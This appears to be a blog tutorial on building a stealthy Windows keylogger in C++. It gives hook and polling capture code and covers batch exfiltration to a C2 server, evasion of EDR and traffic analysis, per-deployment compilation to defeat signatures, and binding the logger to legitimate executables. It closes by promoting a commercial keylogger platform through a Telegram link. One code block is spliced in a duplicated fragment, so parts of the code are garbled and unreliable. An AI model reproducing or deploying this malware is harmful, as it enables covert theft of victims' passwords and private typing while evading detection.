Building a Low-Level Windows Keylogger in C++ â From Hooks to Evasion
A practical deep-dive into Windows keyboard input capture, using SetWindowsHookEx, raw input processing, and compile-time diversification for red team operations.
1. Understanding Keyboard Input on Windows
Windows provides two main APIs for capturing keystrokes:
-
SetWindowsHookExwithWH_KEYBOARD_LLâ A low-level global hook that captures all keyboard input system-wide, without requiring a window or message pump in the traditional sense. -
Raw Input API (
RIDEV_INPUTSINK) â Registers the device for raw input even when the window is not in focus.
Both have trade-offs. The hook approach is simpler and more common in red team tooling, but it leaves specific forensic artifacts. We'll cover both and discuss evasion for each.
2. The Low-Level Keyboard Hook (WH_KEYBOARD_LL)
This is the most common approach in C++ keyloggers. It installs a hook that monitors keyboard messages before they reach the target window's message queue.
#include <windows.h>
#include <fstream>
#include <ctime>
#include <sstream>
#pragma comment(lib, "user32.lib")
// Log file path â compile-time configurable
#define LOG_PATH "C:\\ProgramData\\\\log.dat"
HHOOK g_hKeyboardHook = nullptr;
// Key state map for shift-dependent characters
bool g_bShiftPressed = false;
bool g_bCapsLock = false;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode < 0 || nCode != HC_ACTION)
return CallNextHookEx(nullptr, nCode, wParam, lParam);
KBDLLHOOKSTRUCT* pKeyStruct = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
DWORD vkCode = pKeyStruct->vkCode;
// Track modifier keys
if (vkCode == VK_SHIFT || vkCode == VK_LSHIFT || vkCode == VK_RSHIFT)
g_bShiftPressed = true;
if (vkCode == VK_CAPITAL)
g_bCapsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
// Log the keystroke
LogKeystroke(vkCode);
}
if (wParam == WM_KEYUP) {
DWORD vkCode = pKeyStruct->vkCode;
if (vkCode == VK_SHIFT || vkCode == VK_LSHIFT || vkCode == VK_RSHIFT)
g_bShiftPressed = false;
}
return CallNextHookEx(nullptr, nCode, wParam, lParam);
}
The hook callback runs in the context of the thread that installed it. For a global hook, you need a message loop â otherwise the hook is silently unloaded after a timeout.
void InstallHook() {
g_hKeyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL, // Low-level keyboard hook
KeyboardProc, // Callback function
GetModuleHandle(nullptr), // Handle to the current module
0 // Hook all threads
);
if (!g_hKeyboardHook) {
DWORD error = GetLastError();
// Log error for debugging (compiled out in release builds)
return;
}
// Message loop â required for low-level hooks
MSG msg;
while (GetMessage(&msg, nullptr, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
Critical detail: The message loop is not optional. Without GetMessage() or PeekMessage(), the hook is silently removed by Windows after a few seconds. This is a common mistake that causes hooks to "mysteriously stop working."
3. Keystroke Translation â Handling Virtual Key Codes
The raw vkCode from KBDLLHOOKSTRUCT is not human-readable. You need to translate it using ToAscii or MapVirtualKey:
#include <windows.h>
std::string TranslateKey(DWORD vkCode, bool shift, bool caps) {
char buffer[16] = {0};
// Special keys first
switch (vkCode) {
case VK_RETURN: return "\n";
case VK_BACK: return "[BACKSPACE]";
case VK_TAB: return "[TAB]";
case VK_SPACE: return " ";
case VK_DELETE: return "[DEL]";
case VK_ESCAPE: return "[ESC]";
case VK_UP: return "[UP]";
case VK_DOWN: return "[DOWN]";
case VK_LEFT: return "[LEFT]";
case VK_RIGHT: return "[RIGHT]";
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
case VK_MENU:
case VK_LMENU:
case VK_RMENU: return ""; // Don't log modifier keys alone
}
// Handle alphanumeric keys
BYTE keyboardState[256] = {0};
keyboardState[VK_SHIFT] = shift ? 0x80 : 0;
keyboardState[VK_CAPITAL] = caps ? 0x01 : 0;
// Map virtual key to scan code, then convert to ASCII
UINT scanCode = MapVirtualKey(vkCode, MAPVK_VK_TO_VSC);
// Handle extended keys (e.g., right-side Alt/Ctrl)
bool extended = (vkCode >= VK_PRIOR && vkCode <= VK_DOWN) ||
vkCode == VK_INSERT || vkCode == VK_DELETE;
if (ToAscii(vkCode, scanCode, keyboardState,
reinterpret_cast<LPWORD>(buffer), 0) > 0) {
return std::string(buffer);
}
// Fallback for unmapped keys
char fallback[32];
snprintf(fallback, sizeof(fallback), "[%02X]", vkCode);
return std::string(fallback);
}Code, keyboardState,
reinterpret_cast<LPWORD>(buffer), 0) > 0) {
return std::string(buffer);
}
// Fallback for unmapped keys
char fallback[32];
snprintf(fallback, sizeof(fallback), "[%02X]", vkCode);
return std::string(fallback);
}
The ToAscii function respects the current keyboard layout, so this works with international keyboards, special characters, and modifier key combinations automatically.
4. Logging Strategies â Beyond a Simple File
Writing every keystroke to a flat file on disk is detectable and fragile. Here are three better approaches:
Strategy A: Memory Buffer + Batch Flush
class KeyLogBuffer {
private:
std::vector<std::string> m_buffer;
std::mutex m_mutex;
size_t m_flushThreshold;
size_t m_maxEntries;
public:
KeyLogBuffer(size_t threshold = 50, size_t maxEntries = 1000)
: m_flushThreshold(threshold), m_maxEntries(maxEntries) {}
void Add(const std::string& entry) {
std::lock_guard<std::mutex> lock(m_mutex);
m_buffer.push_back(entry);
if (m_buffer.size() >= m_flushThreshold) {
Flush();
}
}
void Flush() {
if (m_buffer.empty()) return;
// Build batch
std::string batch;
for (const auto& e : m_buffer) {
batch += e;
}
m_buffer.clear();
// Transmit over C2 channel
TransmitBatch(batch);
}
private:
void TransmitBatch(const std::string& data) {
// HTTP POST to C2 endpoint
// Encoded as URL parameter or POST body
// Random intervals to avoid traffic pattern detection
}
};
Strategy B: Event-Driven with Named Pipe (for injection scenarios)
When running inside a spawned or injected process, use a named pipe to communicate back to the parent process instead of writing to disk:
HANDLE CreateLogPipe() {
SECURITY_ATTRIBUTES sa = {sizeof(sa), nullptr, TRUE};
HANDLE hPipe = CreateNamedPipe(
L"\\\\.\\pipe\\" LOG_PIPE_NAME,
PIPE_ACCESS_OUTBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
1, // Max instances
4096, // Output buffer
4096, // Input buffer
0, // Default timeout
&sa
);
return hPipe;
}
void WriteToPipe(HANDLE hPipe, const std::string& data) {
DWORD written;
WriteFile(hPipe, data.c_str(), data.size(), &written, nullptr);
}
Strategy C: HTTP Exfiltration with Randomized Intervals
void ExfiltrateBuffer(const std::string& data) {
// Randomize timing to avoid traffic analysis
int delay = 5000 + (rand() % 30000); // 5-35 seconds
Sleep(delay);
// Randomize URL path
std::string path = RandomString(8);
// POST with randomized User-Agent
// ...
}
5. Evasion Considerations
Avoiding User32!SetWindowsHookEx Fingerprinting
SetWindowsHookEx is heavily monitored by EDR. Alternatives:
Raw Input API â Register for raw input without creating a visible window:
#include <windows.h>
void SetupRawInputCapture() {
// Create a hidden window for raw input processing
// (Required by the Raw Input API)
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01; // Generic desktop controls
rid.usUsage = 0x06; // Keyboard
rid.dwFlags = RIDEV_INPUTSINK | RIDEV_DEVNOTIFY;
rid.hwndTarget = g_hHiddenWnd;
if (!RegisterRawInputDevices(&rid, 1, sizeof(rid))) {
// Fallback to hook approach
InstallHook();
}
}
GetAsyncKeyState Polling â Lower detection risk, higher CPU usage:
void PollingKeyCapture() {
std::map<int, bool> previousState;
while (g_running) {
for (int key = 0x08; key <= 0xFE; key++) {
SHORT state = GetAsyncKeyState(key);
bool isDown = (state & 0x8000) != 0;
bool wasDown = previousState[key];
if (isDown && !wasDown) {
// Key pressed â log it
Logkeystroke(key);
}
previousState[key] = isDown;
}
Sleep(10); // ~100 keys scanned per second
}
}
PE Header Obfuscation
When using SetWindowsHookEx, the export ordinal of the hook procedure is visible in the PE's export table if the DLL is compiled with exports. Mitigate by:
- Using ordinal exports instead of named exports
- Stripping export names after compilation
- Using
GetProcAddresswith encrypted string lookups
6. Compile-Time Diversification (Reusing Our Pipeline)
The keylogger should not be a static binary. Apply the same per-deployment compilation approach:
// config.h.in â generated per build
#define C2_ENDPOINT "@C2_ADDRESS@"
#define EXFIL_PORT @EXFIL_PORT@
#define POLL_INTERVAL @POLL_MS@
#define BUFFER_SIZE @BUF_SIZE@
#define USE_RAW_INPUT @USE_RAW@
#define MUTEX_NAME "@MUTEX_NAME@" // Unique per deployment
void AntiDoubleRun() {
// Mutex name is compile-time unique â no hardcoded strings
HANDLE hMutex = CreateMutex(nullptr, FALSE, MUTEX_NAME);
if (GetLastError() == ERROR_ALREADY_EXISTS) {
ExitProcess(0);
}
}
7. Full Setup Flow
1. Generate unique config for deployment
2. Compile with randomized flags (Clang/GCC, O0-Oz)
3. Optional: Bind with a legitimate host executable
4. Deploy with clean PE metadata (zeroed timestamp, fake rich header)
5. Wait. Hook installs silently. Batch buffer fills.
6. Exfiltrate on schedule. No disk writes. No suspicious files.
Closing Notes
The techniques above form a practical foundation for Windows keyboard capture in red team operations. The key points:
-
SetWindowsHookExworks but leaves detectable artifacts - Raw Input and polling are quieter alternatives
- Per-deployment compilation eliminates shared signatures
- Batch exfiltration with randomized timing defeats traffic analysis
For a production-ready platform that implements this exact pipeline with a custom compiler per user, web-based C2 dashboard, and integrated binder/stub support:
Built for authorized security testing. Follow development on Telegram: https://t.me/violetentity
Top comments (0)